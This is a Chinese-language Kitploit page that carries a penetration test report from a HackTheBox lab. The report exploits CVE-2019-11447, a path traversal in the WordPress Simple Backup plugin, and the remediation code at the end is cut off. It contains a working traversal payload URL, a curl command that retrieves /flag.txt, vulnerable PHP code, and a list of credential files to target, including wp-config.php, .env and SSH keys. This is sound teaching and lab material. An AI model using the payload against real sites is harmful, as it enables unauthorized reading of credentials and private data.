Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
WordPress-Path-Traversal-CVE-2019-11447 — 详细的渗透测试报告,演示了 WordPress Simple Backup 插件中未经身份验证的路径遍历漏洞(CVE-2019-11447),包括利用步骤、影响分析和修复指导。 | Kitploit
工具/GitHubGitHub/capivara-research/wordpress-path-traversal-cve-2019-11447
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubcapivara-research/wordpress-path-traversal-cve-2019-11447

WordPress-Path-Traversal-CVE-2019-11447

详细的渗透测试报告,演示了 WordPress Simple Backup 插件中未经身份验证的路径遍历漏洞(CVE-2019-11447),包括利用步骤、影响分析和修复指导。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
381个月前尚未审核
分享

渗透测试报告

WordPress 路径遍历 - CVE-2019-11447


文档信息

项目详情
文档标题渗透测试报告 - WordPress 路径遍历
客户/考试HackTheBox 实验室 - CPTS 练习 1
日期2026 年 8 月 22 日
评估人员Fernando Viana(渗透测试员)
评估类型灰盒(外部,无凭据)
实验环境154.57.164.73:30706
实验时长1 小时
目标识别并利用漏洞以获取受限文件
获取的 FlagHTB{my_f1r57_h4ck}

执行摘要

在本次针对托管于 154.57.164.73:30706 的 Web 应用程序的渗透评估中,发现了一个严重漏洞,该漏洞允许未经身份验证的攻击者从服务器文件系统下载并读取任意文件。

存在漏洞的 WordPress 安装包含一个过时的插件(Simple Backup v2.7.10),该插件存在路径遍历漏洞(CVE-2019-11447),允许在无需身份验证或授权的情况下进行未经授权的文件访问。

该漏洞已被成功利用,从服务器根目录获取了 /flag.txt 文件,确认了机密性的完全失陷。拥有此访问权限的攻击者可以:

  • 提取敏感配置文件(wp-config.php、.env)
  • 读取数据库凭据和用户数据
  • 访问私有 SSH 密钥和身份验证令牌
  • 通过泄露的凭据潜在地提升权限
  • 收集个人信息以用于进一步攻击

需要立即采取关键行动来修复此漏洞,因为它对数据安全、隐私合规(GDPR、HIPAA、PCI-DSS)和系统完整性构成极端风险。


评估概览

严重程度数量业务影响
🔴 严重1机密性完全泄露;未经授权的文件访问
🟠 高0—
🟡 中0—
🟢 低0—
ℹ️ 信息1检测到过时的软件版本

方法论

评估类型: 灰盒(外部攻击者,未提供凭据,可访问网络)

评估日期: 2026 年 8 月 22 日

测试方法: 非规避性、有条理的评估,遵循行业标准的渗透测试框架(PTES):

  1. 侦察 — 被动信息收集
  2. 扫描与枚举 — 主动服务发现
  3. 漏洞分析 — 识别弱点
  4. 利用 — 概念验证开发
  5. 后利用 — 影响演示
  6. 报告 — 文档记录与修复指导

发现

🔴 严重 - 路径遍历与任意文件下载

CVE-2019-11447 | CWE-22:对路径名的限制不恰当(限制到受限目录)


描述

WordPress 插件 Simple Backup(版本 2.7.10/2.7.11,Exploit-DB 39883)在其管理端“备份管理器”页面中存在路径遍历漏洞。该插件未能对通过 download_backup_file GET 参数提供的文件路径进行清理,允许攻击者使用相对路径序列(../)遍历到预期的 simple-backup/ 目录之外,并下载 Web 服务器进程可读取的任何文件——包括文件系统根目录下的文件。

存在漏洞的端点:

GET /wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt

page=backup_manager 将请求路由到插件的管理页面处理程序;download_backup_file 是插件代码直接读取并拼接进文件系统路径的参数,且未做任何校验,从而允许目录遍历。


CVSS v3.1 评分

7.5 - 高危 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

  • 攻击向量 (AV): 网络
  • 攻击复杂度 (AC): 低
  • 所需权限 (PR): 无
  • 用户交互 (UI): 无
  • 影响范围 (S): 不变
  • 机密性 (C): 高
  • 完整性 (I): 无
  • 可用性 (A): 无

业务影响

机密性泄露: ⚠️ 严重

攻击者可读取 Web 服务器可访问的任意文件,包括:

文件影响风险等级
/wp-config.php数据库凭据、盐值、密钥🔴 严重
/.envAPI 密钥、机密信息、配置🔴 严重
/etc/passwd用户枚举、系统映射🟠 高危
SSH 密钥(.ssh/id_rsa)横向移动、系统访问🔴 严重
/proc/self/environ运行中应用的机密信息🟠 高危
用户上传目录私有文件、媒体文件🟠 高危

合规影响:

  • 违反 GDPR: 未经授权访问用户数据
  • 违反 HIPAA: 受保护健康信息泄露
  • 违反 PCI-DSS: 信用卡数据或支付信息被访问
  • 违反 SOC 2: 违反机密性要求

存在漏洞的代码模式

Exploit-DB 公告(39883.txt,通过 searchsploit -x 读取——参见 ht4-poc.png)记录了 simple-backup-manager.php 中插件的 删除 原语:

if(array_key_exists('delete_backup_file', $_GET)){
    $this->delete_local_backup_file($_GET['delete_backup_file']);
}
$bk_dir = ABSPATH."simple-backup/";
unlink($bk_dir . $filename);

$filename 直接来自 $_GET['delete_backup_file'],没有经过 basename() 或路径包含检查。传入 ../pizza.txt 会使 $bk_dir . $filename 解析为 .../simple-backup/../pizza.txt → .../pizza.txt,从而逃逸出预期的备份文件夹。

本次参与中实际利用的 download 原语(download_backup_file)在同一插件中遵循完全相同的未净化拼接模式,但它将文件返回给请求者而不是删除它——这正是能够从文件系统根目录检索 /flag.txt 的原因(从 ABSPATH/simple-backup/ 向上 10 次 ../)。

问题所在:

  • 未使用 basename() 移除目录组件
  • 没有允许文件的白名单
  • 未验证 realpath() 是否保持在 ABSPATH."simple-backup/" 内
  • 将用户输入直接拼接到文件路径中
  • 在提供文件之前没有 current_user_can() / 身份验证检查——该处理程序在插件加载时运行,早于 WordPress 自身的 wp-admin 身份验证关卡,因此无需登录即可访问

概念验证

阶段 1:初始访问——应用程序识别

通过浏览器直接连接到目标(http://154.57.164.73:30706/)。该 WordPress 安装的标题为 "GETTING STARTED",首页上的一篇公开博客文章以纯文本形式披露了确切的插件名称和版本:"Simple Backup Plugin 2.7.10 for WordPress"——甚至不需要任何枚举工具就能识别出存在漏洞的组件。

初始访问 - WordPress 首页披露的插件版本

阶段 2:服务指纹识别

whatweb http://154.57.164.73:30706/

结果: 确认 Apache/2.4.41(Ubuntu Linux)、WordPress 5.6.1,通过 MetaGenerator 和 WordPress 插件签名识别。

服务指纹识别 - whatweb 输出

阶段 3:漏洞研究

searchsploit simple backup wordpress

结果:

Exploit Title                                              |  Path
------------------------------------------------------------------------------
WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities | php/webapps/39883.txt

漏洞研究 - searchsploit 匹配

阅读完整的安全公告,以了解确切的易受攻击参数和代码路径:

searchsploit -x php/webapps/39883.txt

该公告记录了通过 delete_backup_file 参数实现的未认证 任意文件删除 漏洞,并指出 simple-backup/ 下的备份文件(以及通过同一未净化代码路径、经由 download_backup_file 访问的任意文件)可在未认证的情况下被获取。

漏洞研究 - 通过 searchsploit -x 读取 Exploit-DB PoC 39883.txt

阶段 4:利用 — 通过 download_backup_file 进行路径遍历

从插件管理页面路由中识别出的易受攻击端点:

http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=

利用载荷(10 个 ../,用于从 ABSPATH/simple-backup/ 回溯到文件系统根目录):

http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt

GUI(本次评估中使用): 直接在浏览器地址栏中访问了 payload URL。无需登录——浏览器自动触发了对解析后的 flag.txt 的文件下载。

利用 - 浏览器地址栏中的路径遍历 payload,flag.txt 已下载

无头等效方式:

curl -s "http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt" -o flag.txt
cat flag.txt

获取的 Flag: HTB{my_f1r57_h4ck}


为什么有效

该漏洞之所以能够成功,是因为:

  1. 无输入验证: $_GET['download_backup_file'] 未针对白名单进行检查
  2. 无路径规范化: 未使用 realpath() 验证文件是否保持在 simple-backup/ 内
  3. 无 basename 提取: 目录遍历序列(../)未被过滤
  4. 直接拼接: 用户输入被直接拼接到 ABSPATH."simple-backup/"
  5. 无身份验证: 该处理程序在插件加载时运行,早于 WordPress 的 wp-admin 身份验证关卡——在未登录状态下即可访问
  6. 无授权检查: 没有 current_user_can() 检查来确认请求者是否有权访问所请求的文件

攻击流程:

User Input: ../../../../../../../../../../flag.txt
           ↓
No Validation (FAILURE POINT)
           ↓
Concatenated: ABSPATH/simple-backup/../../../../../../../../../../flag.txt
           ↓
Resolves to: /flag.txt (accessible!)
           ↓
Plugin serves file contents with web server permissions
           ↓
Browser downloads flag.txt to attacker's machine

影响验证

✅ 机密性受损: Web 服务器进程可读取的任何文件均可被访问 ✅ 无需身份验证: 未认证用户即可利用 ✅ 无需用户交互: 通过直接 HTTP 请求即可利用 ✅ 可重复且可靠: 在所有受影响版本上均可生效 ✅ 关键业务数据面临风险: 配置文件、凭据、用户数据暴露


修复方案

方案 1:输入白名单(推荐)

仅允许从预定义的文件列表下载:

<?php
// Define allowed backup files
$allowed_files = array(
    'backup_2024_01_15.zip',
    'backup_2024_01_16.zip',
    'backup_2024_01_17.zip',
);

$requested_file = $_GET['download_backup_file'];

// Validate against whitelist
if (!in_array($requested_file, $allowed_files)) {
    die("File not found or access denied");
}

// Use basename() as double protection
$file = basename($requested_file);
$filepath = ABSPATH . "simple-backup/" . $file;
下载工具